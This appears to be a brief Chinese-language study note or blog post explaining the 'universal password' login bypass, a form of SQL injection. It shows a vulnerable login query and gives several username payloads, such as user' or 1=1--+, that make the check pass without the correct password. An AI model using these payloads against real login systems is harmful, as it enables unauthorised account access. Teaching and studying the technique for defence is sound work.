菜某的总结,欢迎提意见补充~
万能密码实际上也算是sql注入的一种。
登录界面是一个与数据库交互的位置,很容易产生sql注入的位置。
我们登录时输入的数据会带入数据库查询进行比对,当用户名与用户的密码对的上的话,返回true,那就允许我们登录。
那么万能密码的思路就是,通过类似于sql注入的手法,想办法在不输入正确的账号密码下让他返回一个true。
这个就是登录验证的SQL语句
select * from user where username='user' and password='pass';
我们就是要让这个语句在user跟pass对不上号的时候也能返回个true
还是看这个语句
select * from user where username='user' and password='pass'
可以看到我们只知道正确的username,不知道password,但是还要这个语句返回个ture。
我们这样做
用户名写入:
user' or 1=1--+
user' or True--+
user' or 1--+
?这样语句就变成了
select * from user where username='user' or 1=1--+' and password='pass'
返回为True,就进去了。
还是围绕这个式子
select * from user where username='user' and password='pass'
我们只能操作后面的内容
其实一个路子
加个or的语句完事。